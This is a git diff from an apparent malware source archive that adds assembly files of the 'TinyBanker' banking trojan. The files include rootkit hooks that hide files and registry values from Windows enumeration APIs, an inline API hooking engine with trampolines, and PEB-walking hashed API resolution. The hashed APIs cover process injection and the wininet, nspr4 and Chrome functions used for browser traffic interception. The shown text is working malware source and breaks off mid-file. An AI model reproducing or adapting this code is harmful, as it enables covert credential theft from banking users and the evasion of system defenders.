if search from begining + .if p2==0 + mov nHdnCount, 0 +; else add delta to dwIndex + .else + mov eax, nHdnCount + add p2, eax + .endif + +@RealRegEnumValue: + push p8 ; lpcbData + push p7 ; lpData + push p6 ; lpType + push p5 ; lpReserved + push p4 ; lpcchValueName + push p3 ; lpValueName + push p2 ; dwIndex + push p1 ; hKey + call RealRegEnumValue ; Real RegEnumValue + .if eax!=ERROR_SUCCESS + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, p3 + call IsHiddenRegValue + .if ebx==0 + popad + ret + .endif + +; Hide Value (replace by next) + inc p2 ; Next dwIndex + inc nHdnCount ; Increase counter (for delta) + popad + jmp @RealRegEnumValue +NewRegEnumValue endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/IsHidden.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/IsHidden.asm new file mode 100644 index 0000000..7d00f5d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/IsHidden.asm @@ -0,0 +1,34 @@ + +.code + +;; -------------------------------------------------------------------------------- ;; +IsHiddenFile proc + + cmp byte ptr [ebx], "A" + je @hide + cmp byte ptr [ebx], "~" + je @hide + +;; Not hide + xor ebx, ebx + ret + +@hide: + ret +IsHiddenFile endp + + +;; -------------------------------------------------------------------------------- ;; +IsHiddenRegValue proc + + cmp byte ptr [ebx], "C" + je @hide + +;; Not hide + xor ebx, ebx + ret + +@hide: + ret +IsHiddenRegValue endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdFile.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdFile.asm new file mode 100644 index 0000000..2843ffd --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdFile.asm @@ -0,0 +1,117 @@ + + +FILE_BOTH_DIRECTORY_INFORMATION struc + NextEntryOffset dd ? + Unknown dd ? + CreationTime dq ? + LastAccessTime dq ? + LastWriteTime dq ? + ChangeTime dq ? + EndOfFile dq ? + AllocationSize dq ? + FileAttributes dd ? + FileNameLength dd ? + EaInformationLength dd ? + AlternateNameLength db ? + _DummyAlign db ? + AlternateName dw 12 dup (?) + FileName dw ? +FILE_BOTH_DIRECTORY_INFORMATION ends + + +.code + +;; -------------------------------------------------------------------------------- ;; +NewZwQueryDirectoryFile proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword, p7:dword, p8:dword, p9:dword, p10:dword, p11:dword + local RealZwQueryDirectoryFile : dword + + mov RealZwQueryDirectoryFile, eax + +@NextQuery: + push p11 ; RestartScan + push p10 ; FileName + push p9 ; ReturnSingleEntry + push p8 ; FileInformationClass + push p7 ; FileInformationLength + push p6 ; FileInformation + push p5 ; IoStatusBlock + push p4 ; ApcContext + push p3 ; ApcRoutine + push p2 ; Event + push p1 ; FileHandle + call RealZwQueryDirectoryFile ; Real ZwQueryDirectoryFile + .if eax!=STATUS_SUCCESS + ret + .endif + +; Only FileBothDirectoryInformation + .if p8!=3 + ret + .endif + +; Only not empty struc + .if p6==0 + ret + .endif + + pushad + + assume eax : ptr FILE_BOTH_DIRECTORY_INFORMATION, edx : ptr FILE_BOTH_DIRECTORY_INFORMATION + mov eax, p6 +@NextFname: + +; Decision: to hide or not to hide + lea ebx, [eax].FileName + call IsHiddenFile + .if ebx!=0 + + .if eax==p6 ; First record + .if p9==TRUE + popad + jmp @NextQuery + .elseif [eax].NextEntryOffset==0 ; Only 1 record + popad + mov eax, STATUS_NO_MORE_FILES + ret + .endif + mov ebx, [eax].NextEntryOffset ; 1st record len + mov edx, eax ; 2nd - + add edx, ebx ; record addr + mov ecx, [edx].NextEntryOffset ; 2nd record len + .if ecx==0 + mov ecx, sizeof FILE_BOTH_DIRECTORY_INFORMATION + add ecx, [edx].FileNameLength + .else + add [edx].NextEntryOffset, ebx ; offset = len2 + len1 + .endif + mov esi, edx ; Source + mov edi, eax ; Destination + rep movsb + mov edx, eax + .elseif [eax].NextEntryOffset==0 ; Last record + mov [edx].NextEntryOffset, 0 + .else ; Other records + mov ecx, [eax].NextEntryOffset + add ecx, [edx].NextEntryOffset + mov [edx].NextEntryOffset, ecx + .endif + + .else + mov edx, eax + .endif + +; Exit if no more records + cmp [eax].NextEntryOffset, 0 + je @End + +; Check Next record + add eax, [eax].NextEntryOffset + jmp @NextFname + +@End: + assume eax : nothing, edx : nothing + + popad + ret +NewZwQueryDirectoryFile endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdProc.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdProc.asm new file mode 100644 index 0000000..cfa8d1a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdProc.asm @@ -0,0 +1,2 @@ + +; ZwQuerySystemInformation \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdReg.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdReg.asm new file mode 100644 index 0000000..639cafa --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdReg.asm @@ -0,0 +1,78 @@ + + +KEY_VALUE_BASIC_INFORMATION struc + TitleIndex dd ? + _Type dd ? + NameLength dd ? + _Name dw ? +KEY_VALUE_BASIC_INFORMATION ends + + +KEY_VALUE_FULL_INFORMATION struc + TitleIndex dd ? + _Type dd ? + DataOffset dd ? + DataLength dd ? + NameLength dd ? + _Name dw ? +KEY_VALUE_FULL_INFORMATION ends + +.code + +;; -------------------------------------------------------------------------------- ;; +NewZwEnumerateValueKey proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword + local RealZwEnumerateKey : dword + local nCount : dword + local lpName : dword + + mov RealZwEnumerateKey, eax + mov nCount, 0 + + mov eax, p4 + .if p3==0 + lea eax, (KEY_VALUE_BASIC_INFORMATION ptr [eax])._Name + .elseif p3==1 + lea eax, (KEY_VALUE_FULL_INFORMATION ptr [eax])._Name + .else + xor eax, eax + push p2 + pop nCount + .endif + mov lpName, eax + +@RealZwEnumerateKey: + push p6 ; ResultLength + push p5 ; Length + push p4 ; KeyValueInformation + push p3 ; KeyValueInformationClass + push nCount ; Index + push p1 ; KeyHandle + call RealZwEnumerateKey ; Real ZwEnumerateValueKey + .if eax!=STATUS_SUCCESS + ret + .endif + + .if lpName==0 + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, lpName + call IsHiddenRegValue + .if ebx!=0 + inc p2 + .endif + + mov eax, p2 + .if nCount==eax + popad + ret + .endif + inc nCount + + popad + jmp @RealZwEnumerateKey +NewZwEnumerateValueKey endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/API/APITable.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/API/APITable.inc new file mode 100644 index 0000000..7020d60 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/API/APITable.inc @@ -0,0 +1,103 @@ + +.code + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + + +@_API_Hashes_table: +;; API Hashes table start + + ;; kernel32 + _LoadLibraryA dd 0, 05A575AE4h + _GetModuleHandleA dd 0, 0C02BD427h + + _CreateToolhelp32Snapshot dd 0, 03B2EFF48h + _Process32First dd 0, 0D2F49D5Ah + _Process32Next dd 0, 0B06C2089h + _OpenProcess dd 0, 0684C0A05h + + + _CreateFileA dd 0, 0A2A93BE9h + _GetFileSize dd 0, 0CA80AE13h + _SetFilePointer dd 0, 006D09387h + _ReadFile dd 0, 004D8BEBAh + _WriteFile dd 0, 0245BD03Bh + + _CreateRemoteThread dd 0, 03E01E6ACh + _CreateThread dd 0, 072A43A6Eh + _ExitProcess dd 0, 0D4D6F7A1h + + _VirtualAlloc dd 0, 0C03EE45Ah + _VirtualAllocEx dd 0, 0CC09B795h + _VirtualProtect dd 0, 0CC265304h + _VirtualProtectEx dd 0, 01355E61Fh + _VirtualFree dd 0, 0D252282Fh + _VirtualFreeEx dd 0, 041B9B35Ah + _WriteProcessMemory dd 0, 0894852D9h + + _lstrcmpiA dd 0, 02BB2FD91h + _lstrlenA dd 0, 0063E2E81h + + _CloseHandle dd 0, 0986B3A78h + _GetCurrentProcessId dd 0, 01547C797h + _WinExec dd 0, 000BB9A05h + _Sleep dd 0, 00003B1AFh + _ExitThread dd 0, 0D543F4F0h + + + + ;; ntdll + _RtlAdjustPrivilege dd 0, 0EFD3AA98h + _RtlGetLastWin32Error dd 0, 0FEC76D6Fh + _RtlSetLastWin32Error dd 0, 0BB094F7Bh + + + + ;; ws2_32 + _WSAStartup dd 0, 0F1AED070h + _inet_addr dd 0, 02A51A274h + _gethostbyname dd 0, 03718CB58h + _socket dd 0, 000222B6Bh + _connect dd 0, 000D2E20Ah + _send dd 0, 00000B0D0h + _recv dd 0, 00000AF3Eh + _closesocket dd 0, 0B33E156Bh + + + ;; wininet + _HttpAddRequestHeadersA dd 0, 003F21E69h + _HttpAddRequestHeadersW dd 0, 003F21E7Fh + _HttpQueryInfoA dd 0, 0C542F043h + _InternetQueryOptionA dd 0, 0312DDA65h + _InternetGetCookieA dd 0, 04C581F48h + + _InternetSetStatusCallback dd 0, 0C3F003F0h + _InternetReadFileExA dd 0, 0CA699E5Bh + _HttpSendRequestA dd 0, 0AF43415Ah + _HttpSendRequestW dd 0, 0AF434170h + _InternetReadFile dd 0, 0F268CC2Bh + _InternetQueryDataAvailable dd 0, 09450A760h + _HttpSendRequestExW dd 0, 08BDF869Dh + _InternetWriteFile dd 0, 0A34C2E52h + _HttpEndRequestA dd 0, 087F01B75h + _InternetCloseHandle dd 0, 0E46D3CDFh + + + ;; nspr4 & chrome + _PR_Write dd 0, 0049CBEFAh + _PR_Read dd 0, 000A8A40Bh + _PR_Close dd 0, 0049BFC7Bh + +;; API Hashes table end + dd 0, 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/API/Catchy32.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/API/Catchy32.inc new file mode 100644 index 0000000..153ffac --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/API/Catchy32.inc @@ -0,0 +1,286 @@ +;================================================================================================================================================== +; ******** *** *********** ********* *** *** *** *** ******* ******* +; *********** **** **** *********** *********** *** *** *** *** ***** ***** ***** ***** +; *** *** *** *** *** *** *** *** *** *** *** ** *** ** **** +; *** *********** *** *** *********** ** ** **** **** +; *** *** *********** *** *** *** *********** *** ** *** **** +; *********** *** *** *** *********** *** *** *** ***** ***** *********** +; ********* *** *** *** ********* *** *** *** ******* *********** +;==================================================Catchy32 v1.6 - Length Disassembler Engine 32bit================================================ +;SIZE=580 bytes +;Version: +;1.0-test version +;1.1-added: support prefix +;1.2-added: TableEXT +;1.3-added: support for 0F6h and 0F7h groups +;1.4-tables fixed +; -SIB byte handling fixed +;1.5-code fixed&optimized +; -processing 0F6h and 0F7h groups is corrected +; -processing 0A0h-0A3h groups is corrected +;1.6-code fixed +; -added: max lenght=15 bytes +;================================================================================================================================================== +;in: esi - pointer to opcode +;out: eax - opcode length or 0ffffffffh if error +;(c) sars [HI-TECH] 2003 +;sars@ukrtop.com +;================================================================================================================================================== +pref66h equ 1 +pref67h equ 2 + +.code + +;---------------Initial adjustment---------------- +c_Catchy: + pushad + call c_Delta + +;------------Delta-offset calculation------------- +c_Delta: + pop ebp + sub ebp, offset c_Delta + xor ecx, ecx + +;----Flags extraction, checks for some opcodes---- +c_ExtFlags: + xor eax, eax + xor ebx, ebx + cdq + lodsb ;al <- opcode + mov cl, al ;cl <- opcode + cmp al, 0fh ;Test on prefix 0Fh + je c_ExtdTable + cmp word ptr [esi-1], 20CDh ;Test on VXD call + jne c_NormTable + inc esi ;If VXD call (int 20h), then command length is 6 bytes + lodsd + jmp c_CalcLen + +c_ExtdTable: ;Load flags from extended table + lodsb + inc ah ;EAX=al+100h (100h/2 - lenght first table) + +c_NormTable: ;Load flags from normal table + shr eax, 1 ;Elements tables on 4 bits + mov al, byte ptr [ebp+c_Table+eax] + +c_CheckC1: + jc c_IFC1 + shr eax, 4 ;Get high 4-bits block if offset is odd, otherwise... + +c_IFC1: + and eax, 0Fh ;...low + xchg eax, ebx ;EAX will be needed for other purposes + +;--------------Opcode type checking--------------- +c_CheckFlags: + cmp bl, 0Eh ;Test on ErrorFlag + je c_Error + cmp bl, 0Fh ;Test on PrefixFlag + je c_Prefix + or ebx, ebx ;One byte command + jz c_CalcLen + btr ebx, 0 ;Command with ModRM byte + jc c_ModRM + btr ebx, 1 ;Test on imm8,rel8 etc flag + jc c_incr1 + btr ebx, 2 ;Test on ptr16 etc flag + jc c_incr2 + +;-----imm16/32,rel16/32, etc types processing----- +c_16_32: + and bl, 11110111b ;Reset 16/32 sign + + cmp cl, 0A0h ;Processing group 0A0h-0A3h + jb c_Check66h + cmp cl, 0A3h + ja c_Check66h + test ch, pref67h + jnz c_incr2 + jmp c_incr4 + +c_Check66h: ;Processing other groups + test ch, pref66h + jz c_incr4 + jmp c_incr2 + +;---------------Prefixes processing--------------- +c_Prefix: + cmp cl, 66h + je c_SetFlag66h + cmp cl, 67h + jne c_ExtFlags + +c_SetFlag67h: + or ch, pref67h + jmp c_ExtFlags + +c_SetFlag66h: + or ch, pref66h + jmp c_ExtFlags + +;--------------ModR/M byte processing------------- +c_ModRM: + lodsb + +c_Check_0F6h_0F7h: ;Check on 0F6h and 0F7h groups + cmp cl, 0F7h + je c_GroupF6F7 + cmp cl, 0F6h + jne c_ModXX + +c_GroupF6F7: ;Processing groups 0F6h and 0F7h + test al, 00111000b + jnz c_ModXX + test cl, 00000001b + jz c_incbt1 + test ch, 1 + jnz c_incbt2 + inc esi + inc esi +c_incbt2: inc esi +c_incbt1: inc esi + +c_ModXX: ;Processing MOD bits + mov edx, eax + and al, 00000111b ;al <- only R/M bits + test dl, 11000000b ;Check MOD bits + jz c_Mod00 + jp c_CheckFlags ;Or c_Mod11 + js c_Mod10 + +c_Mod01: + test ch, pref67h + jnz c_incr1 ;16-bit addressing + cmp al, 4 ;Check SIB + je c_incr2 + jmp c_incr1 + +c_Mod00: + test ch, pref67h + jz c_Mod00_32 ;32-bit addressing + cmp al, 6 + je c_incr2 + jmp c_CheckFlags +c_Mod00_32: + cmp al, 4 ;Check SIB + jne c_disp32 + +c_SIB: ;Processing SIB byte + lodsb + and al, 00000111b + cmp al, 5 + je c_incr4 + jmp c_CheckFlags + +c_disp32: + cmp al, 5 + je c_incr4 + jmp c_CheckFlags + +c_Mod10: + test ch, pref67h + jnz c_incr2 ;16-bit addressing + cmp al, 4 ;Check SIB + je c_incr5 + jmp c_incr4 + +c_incr5: inc esi +c_incr4: inc esi + inc esi +c_incr2: inc esi +c_incr1: inc esi + jmp c_CheckFlags + +;-----------Command length calculation------------ +c_CalcLen: + sub esi, [esp+4*1] + cmp esi, 15 + ja c_Error + mov [esp+4*7], esi + jmp c_Exit + +;----------------Setting the error---------------- +c_Error: + xor eax, eax + dec eax + mov [esp+4*7], eax + +;---------Restore the registers and exit---------- +c_Exit: + popad + ret +;------------------------------------------------- + +;================================================================================================================================================== + +;Flag tables for normal and extended Intel opcodes +;(c) sars [HI-TECH] 2003 +;sars@ukrtop.com +; +;Version: +;01-test version +;02-added: TableEXT +;03-added: new flags +;04-added: support for MMX, SSE, SSE2, 3DNOW +; +;Description: +;Size of table element is 4 bits. +;0h-one byte instruction +;1h-ModRM byte +;2h-imm8,rel8 etc +;4h-ptr16 etc +;8h-imm16/32,rel16/32 etc +;0Fh-prefix +;0Eh-unsupported opcodes + +;3DNOW-Supported +;SSE-Supported +;SSE2-Supported +;MMX-Supported + +;================NORMAL OPCODES================ +c_Table: +; 01 23 45 67 89 AB CD EF +db 011h,011h,028h,000h,011h,011h,028h,000h;0Fh +db 011h,011h,028h,000h,011h,011h,028h,000h;1Fh +db 011h,011h,028h,0F0h,011h,011h,028h,0F0h;2Fh +db 011h,011h,028h,0F0h,011h,011h,028h,0F0h;3Fh +db 000h,000h,000h,000h,000h,000h,000h,000h;4Fh +db 000h,000h,000h,000h,000h,000h,000h,000h;5Fh +db 000h,011h,0FFh,0FFh,089h,023h,000h,000h;6Fh +db 022h,022h,022h,022h,022h,022h,022h,022h;7Fh +db 039h,033h,011h,011h,011h,011h,011h,011h;8Fh +db 000h,000h,000h,000h,000h,0C0h,000h,000h;9Fh +db 088h,088h,000h,000h,028h,000h,000h,000h;AFh +db 022h,022h,022h,022h,088h,088h,088h,088h;BFh +db 033h,040h,011h,039h,060h,040h,002h,000h;CFh +db 011h,011h,022h,000h,011h,011h,011h,011h;DFh +db 022h,022h,022h,022h,088h,0C2h,000h,000h;EFh +db 0F0h,0FFh,000h,011h,000h,000h,000h,011h;FFh +;============================================== +Lentable equ $-c_Table +comment ! +;===============EXTENDED OPCODES=============== +c_TableEXT: +; 01 23 45 67 89 AB CD EF +db 011h,011h,0E0h,000h,000h,0EEh,0E1h,003h;0Fh +db 011h,011h,011h,011h,01Eh,0EEh,0EEh,0EEh;1Fh +db 011h,011h,01Eh,01Eh,011h,011h,011h,011h;2Fh +db 000h,000h,000h,0EEh,0EEh,0EEh,0EEh,0EEh;3Fh +db 011h,011h,011h,011h,011h,011h,011h,011h;4Fh +db 011h,011h,011h,011h,011h,011h,011h,011h;5Fh +db 011h,011h,011h,011h,011h,011h,011h,011h;6Fh +db 033h,033h,011h,010h,011h,011h,011h,011h;7Fh +db 088h,088h,088h,088h,088h,088h,088h,088h;8Fh +db 011h,011h,011h,011h,011h,011h,011h,011h;9Fh +db 000h,001h,031h,011h,000h,001h,031h,011h;AFh +db 011h,011h,011h,011h,0EEh,031h,011h,011h;BFh +db 011h,031h,033h,031h,000h,000h,000h,000h;CFh +db 0E1h,011h,011h,011h,011h,011h,011h,011h;DFh +db 011h,011h,011h,011h,011h,011h,011h,011h;EFh +db 0E1h,011h,011h,011h,011h,011h,011h,01Eh;FFh +;============================================== +! +;================================================================================================================================================== \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/API/HookAPI.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/API/HookAPI.inc new file mode 100644 index 0000000..1235674 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/API/HookAPI.inc @@ -0,0 +1,94 @@ + +.code + +;; ==================================================================================================== ;; +;; HookAPI - procedure sets hook on given API address ;; +;; replace original API start to push addr and retn to handler procedure ;; +;; creates trampoline contained replaced code of original API and return to code after it ;; +;; changes given API pointer to address of trampoline (real API code start) ;; +;; __in lpHandlerProc - pointer to handler procedure ;; +;; __inout plpAPI - pointer to API pointer ;; +;; ==================================================================================================== ;; +HookAPI proc uses ecx edi esi lpHandlerProc, plpAPI : dword + local lpAPI : dword + local flOldProtect : dword + + + + mov eax, plpAPI + mov eax, [eax] + mov lpAPI, eax + + + ;; Change API memory protection + invokx _VirtualProtect[ebx], lpAPI, 32, PAGE_READWRITE, &flOldProtect + test eax, eax + jz @ret + + + ;; Allocate memory for trampoline + invokx _VirtualAlloc[ebx], 0, 32, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE + test eax, eax + jz @oldprotect + mov edi, eax + + + ;; Get size of code to copy + xor ecx, ecx + mov esi, lpAPI + +@@: mov eax, ebx + add eax, c_Catchy + call eax + cmp eax, -1 + je @error + + add esi, eax ;; esi = current code instruction + add ecx, eax ;; eax = current instructions len + cmp ecx, 5 + jb @B + + + ;; Copy original api code to new place + mov eax, edi ;; save + sub esi, ecx ;; pointer to current API start + rep movsb + + + ;; Write return to original API code + len of copied code + mov byte ptr [edi], 68h ;; PUSH offset original API + offsed of copied code + mov dword ptr [edi+1], esi ;; addr + mov byte ptr [edi+5], 0C3h ;; RETN + + + ;; New real API address + mov edi, plpAPI + mov [edi], eax + + + ;; Edit original API code start + mov edi, lpAPI + mov eax, lpHandlerProc + mov byte ptr [edi], 0E9h ;; JMP FAR + sub eax, edi ;; + sub eax, 5 ;; + mov dword ptr [edi+1], eax ;; addr + + + jmp @oldprotect + + +@error: + ;; Release trampoline memory + invokx _VirtualFree[ebx], edi, 0, MEM_RELEASE + + +@oldprotect: + ;; Restore old API memory protection + invokx _VirtualProtect[ebx], lpAPI, 32, flOldProtect, &flOldProtect + + +@ret: + ret +HookAPI endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/API/RestoreAPIs.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/API/RestoreAPIs.inc new file mode 100644 index 0000000..550275e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/API/RestoreAPIs.inc @@ -0,0 +1,151 @@ + +.code + +;; ==================================================================================================== ;; +;; ApiAddrFromLib - restore WinAPI in given library by hash ;; +;; __in lpDllBaseAddr - pointer to library base ;; +;; ==================================================================================================== ;; +ApiAddrFromCrc proc uses ecx edx edi esi lpDllBaseAddr : dword + local dwAddressOfFunctions : dword + local dwAddressOfNameOrdinals : dword + + + + xor eax, eax + cmp lpDllBaseAddr, eax + je @ret + + + ;; Begin + mov esi, lpDllBaseAddr + assume esi : ptr IMAGE_DOS_HEADER + add esi, [esi].e_lfanew + assume esi : ptr IMAGE_NT_HEADERS + mov esi, [esi].OptionalHeader.DataDirectory.VirtualAddress + add esi, lpDllBaseAddr + assume esi : ptr IMAGE_EXPORT_DIRECTORY + mov ecx, [esi].NumberOfNames + mov eax, [esi].AddressOfFunctions + mov dwAddressOfFunctions, eax + mov eax, [esi].AddressOfNameOrdinals + add eax, lpDllBaseAddr + mov dwAddressOfNameOrdinals, eax + mov esi, [esi].AddressOfNames + add esi, lpDllBaseAddr + assume esi : nothing + + + ;; Process API hashes table +@next_api_name: + mov edi, lpDllBaseAddr ;; edi points to the name of function + add edi, [esi] + add esi, 4 + + + ;; Calc function name hash + xor edx, edx +@@: mov eax, 7 + mul edx + mov edx, eax + movzx eax, byte ptr [edi] + add edx, eax + inc edi + cmp byte ptr [edi], 0 + jnz @B ;; if more symbols in api name + + + ;; Get offset to ordinal + mov eax, dwAddressOfNameOrdinals ;; AddressOfNameOrdinals + add dwAddressOfNameOrdinals, 2 ;; Move to next ordinal word + mov edi, @_API_Hashes_table + add edi, ebx + add edi, 4 + + +@check_next_hash: + cmp [edi], edx + jne @F + + + ;; Needed function found + movzx eax, word ptr [eax] ;; Name ordinal + shl eax, 2 ;; Multiply by 4 + add eax, lpDllBaseAddr + add eax, dwAddressOfFunctions + mov eax, [eax] + add eax, lpDllBaseAddr + mov [edi-4], eax ;; Store API address + + + ;; Move to next API hash +@@: add edi, 8 + ;; Check if last hash or last API + cmp dword ptr [edi], 0 + jnz @check_next_hash + + + ;; Check if last API in Lib + dec ecx + jnz @next_api_name + +@ret: + ret +ApiAddrFromCrc endp + + + +;; ==================================================================================================== ;; +;; CleanApiAddrTable - Clean WinAPI addresses table ;; +;; ==================================================================================================== ;; +CleanApiAddrTable proc uses edi + + mov edi, @_API_Hashes_table + add edi, ebx + xor eax, eax + +@clean_next: + mov [edi], eax + add edi, 8 + cmp [edi+4], eax + jnz @clean_next + + ret +CleanApiAddrTable endp + + + +;; ==================================================================================================== ;; +;; RestoreAPIs - restore WinAPI addresses ;; +;; ==================================================================================================== ;; +RestoreAPIs proc uses ecx edi esi + + invokx &CleanApiAddrTable[ebx] + + + ;; Get "kernel32" base address + assume fs : flat + mov esi, [fs:30h] ;; get a pointer to the PEB + mov esi, [esi+0Ch] + mov esi, [esi+1Ch] +@@: mov ecx, [esi+8h] + mov edi, [esi+20h] + mov esi, [esi] + cmp dword ptr [edi+0Ch], 0320033h ;; "32" in unicode + jne @B + + + ;; restore "kernel32" APIs + invokx &ApiAddrFromCrc[ebx], ecx + + + invokx _GetModuleHandleA[ebx], "ntdll" + invokx &ApiAddrFromCrc[ebx], eax + + + invokx _GetModuleHandleA[ebx], "ws2_32" + invokx &ApiAddrFromCrc[ebx], eax + + + ret +RestoreAPIs endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(1).inc new file mode 100644 index 0000000..3259f15 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(1).inc @@ -0,0 +1,104 @@ + +.code + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + + +@_API_Hashes_table: +;; API Hashes table start + + ;; kernel32 + _LoadLibraryA dd 0, 05A575AE4h + _GetModuleHandleA dd 0, 0C02BD427h + + _CreateToolhelp32Snapshot dd 0, 03B2EFF48h + _Process32First dd 0, 0D2F49D5Ah + _Process32Next dd 0, 0B06C2089h + _OpenProcess dd 0, 0684C0A05h + + + _CreateFileA dd 0, 0A2A93BE9h + _GetFileSize dd 0, 0CA80AE13h + _SetFilePointer dd 0, 006D09387h + _ReadFile dd 0, 004D8BEBAh + _WriteFile dd 0, 0245BD03Bh + + _CreateRemoteThread dd 0, 03E01E6ACh + _CreateThread dd 0, 072A43A6Eh + _ExitProcess dd 0, 0D4D6F7A1h + + _VirtualAlloc dd 0, 0C03EE45Ah + _VirtualAllocEx dd 0, 0CC09B795h + _VirtualProtect dd 0, 0CC265304h + _VirtualProtectEx dd 0, 01355E61Fh + _VirtualFree dd 0, 0D252282Fh + _VirtualFreeEx dd 0, 041B9B35Ah + _WriteProcessMemory dd 0, 0894852D9h + + _lstrcmpiA dd 0, 02BB2FD91h + _lstrlenA dd 0, 0063E2E81h + + _CloseHandle dd 0, 0986B3A78h + _GetCurrentProcessId dd 0, 01547C797h + _WinExec dd 0, 000BB9A05h + _Sleep dd 0, 00003B1AFh + _ExitThread dd 0, 0D543F4F0h + + + + ;; ntdll + _RtlAdjustPrivilege dd 0, 0EFD3AA98h + _RtlGetLastWin32Error dd 0, 0FEC76D6Fh + _RtlSetLastWin32Error dd 0, 0BB094F7Bh + + + + ;; ws2_32 + _WSAStartup dd 0, 0F1AED070h + _inet_addr dd 0, 02A51A274h + _gethostbyname dd 0, 03718CB58h + _socket dd 0, 000222B6Bh + _connect dd 0, 000D2E20Ah + _send dd 0, 00000B0D0h + _recv dd 0, 00000AF3Eh + _closesocket dd 0, 0B33E156Bh + + + ;; wininet + _HttpAddRequestHeadersA dd 0, 003F21E69h + _HttpAddRequestHeadersW dd 0, 003F21E7Fh + _HttpQueryInfoA dd 0, 0C542F043h + _InternetQueryOptionA dd 0, 0312DDA65h + _InternetGetCookieA dd 0, 04C581F48h + + _InternetSetStatusCallback dd 0, 0C3F003F0h + _InternetReadFileExA dd 0, 0CA699E5Bh + _HttpSendRequestA dd 0, 0AF43415Ah + _HttpSendRequestW dd 0, 0AF434170h + _InternetReadFile dd 0, 0F268CC2Bh + _InternetQueryDataAvailable dd 0, 09450A760h + _HttpSendRequestExW dd 0, 08BDF869Dh + _InternetWriteFile dd 0, 0A34C2E52h + _HttpEndRequestA dd 0, 087F01B75h + _InternetCloseHandle dd 0, 0E46D3CDFh + + + ;; nspr4 & chrome + _PR_Write dd 0, 0049CBEFAh + _PR_Read dd 0, 000A8A40Bh + _PR_Close dd 0, 0049BFC7Bh + +;; API Hashes table end + dd 0, 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(2).inc new file mode 100644 index 0000000..2ef1153 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(2).inc @@ -0,0 +1,105 @@ + +.code + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + + + +@_API_Hashes_table: +;; API Hashes table start + + ;; kernel32 + _LoadLibraryA dd 0, 05A575AE4h + _GetModuleHandleA dd 0, 0C02BD427h + + _CreateToolhelp32Snapshot dd 0, 03B2EFF48h + _Process32First dd 0, 0D2F49D5Ah + _Process32Next dd 0, 0B06C2089h + _OpenProcess dd 0, 0684C0A05h + + + _CreateFileA dd 0, 0A2A93BE9h + _GetFileSize dd 0, 0CA80AE13h + _SetFilePointer dd 0, 006D09387h + _ReadFile dd 0, 004D8BEBAh + _WriteFile dd 0, 0245BD03Bh + + _CreateRemoteThread dd 0, 03E01E6ACh + _CreateThread dd 0, 072A43A6Eh + _ExitProcess dd 0, 0D4D6F7A1h + + _VirtualAlloc dd 0, 0C03EE45Ah + _VirtualAllocEx dd 0, 0CC09B795h + _VirtualProtect dd 0, 0CC265304h + _VirtualProtectEx dd 0, 01355E61Fh + _VirtualFree dd 0, 0D252282Fh + _VirtualFreeEx dd 0, 041B9B35Ah + _WriteProcessMemory dd 0, 0894852D9h + + _lstrcmpiA dd 0, 02BB2FD91h + _lstrlenA dd 0, 0063E2E81h + + _CloseHandle dd 0, 0986B3A78h + _GetCurrentProcessId dd 0, 01547C797h + _WinExec dd 0, 000BB9A05h + _Sleep dd 0, 00003B1AFh + _ExitThread dd 0, 0D543F4F0h + + + + ;; ntdll + _RtlAdjustPrivilege dd 0, 0EFD3AA98h + _RtlGetLastWin32Error dd 0, 0FEC76D6Fh + _RtlSetLastWin32Error dd 0, 